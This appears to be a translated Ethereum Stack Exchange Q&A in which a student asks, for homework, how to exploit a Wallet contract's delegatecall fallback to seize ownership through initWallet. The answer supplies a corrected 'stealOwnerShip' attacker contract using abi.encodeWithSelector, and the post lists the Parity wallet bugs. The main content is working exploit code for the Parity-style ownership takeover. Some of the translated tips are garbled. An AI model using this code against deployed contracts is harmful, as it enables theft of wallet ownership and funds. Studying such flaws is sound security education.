Solidity

如何呼叫使用 msg.data 作為參數的備份函式

  • October 10, 2021

我正在嘗試完成家庭作業,所以我沒有做任何惡意的事情。目標是了解合約的漏洞。我想呼叫wallet的fallback函式來觸發WalletLibrary的initWallet函式。我對如何通過 msg.data 傳遞參數有點困惑。

這是我試圖利用的合約的程式碼。

contract WalletLibrary {
  function initWallet(address[] _owners, uint _required, uint _daylimit) {
    pass
 }
}

contract Wallet {
  // gets called when no other function matches
 function() payable {
   if (msg.data.length > 0) {
     _walletLibrary.delegatecall(msg.data);
   }
 }
 ...
}

這是我嘗試失敗的方法。我相信我正在呼叫回退函式,但我相信 msg.data 的參數設置不正確。

contract WalletAttacker {
  ...
 function stealOwnerShip() external {
       address[1] memory owners = [address(this)];
       uint _required = 1;
       uint _daylimit = 1000000000000000000;
       targetWallet.call(bytes4(keccak256("initWallet(address[], uint, uint)")), owners, _required, _daylimit);
   }
}

那很接近。要獲得函式選擇器,您必須刪除任何空白bytes4(keccak256("initWallet(address[],uint,uint)"))

使用 solc 0.5 你應該使用abi.encodeWithSelector()

contract WalletAttacker {
  ...
 function stealOwnerShip() external {
   address[1] memory owners = [address(this)];
   uint _required = 1;
   uint _daylimit = 1000000000000000000;
   targetWallet.call(
     abi.encodeWithSelector(
       bytes4(keccak256("initWallet(address[],uint,uint)")),
       owners,
       _required,
       _daylimit
     )
   );
 }
}

您應該遵循的三個重要提示:

  1. 使用 uint256 而不是 uint(我對 uint 有問題)
  2. 刪除“initWallet(地址$$ $$,uint,uint)" 使用 encodeWithSelector 或 encodeWithSignature 時
  3. 不要使用類似的編譯指示,例如:使用 encodeWithSelector 或 encodeWithSignature 時的編譯指示實驗 ABIEncoderV2

夏季平價錢包有 3 個錯誤:

  1. initWallet Bug(所有人的所有權)
  2. 冷凍乙太
  3. 可殺死的錢包(通過回退的委託竊取所有權並殺死錢包)

引用自:https://ethereum.stackexchange.com/questions/83033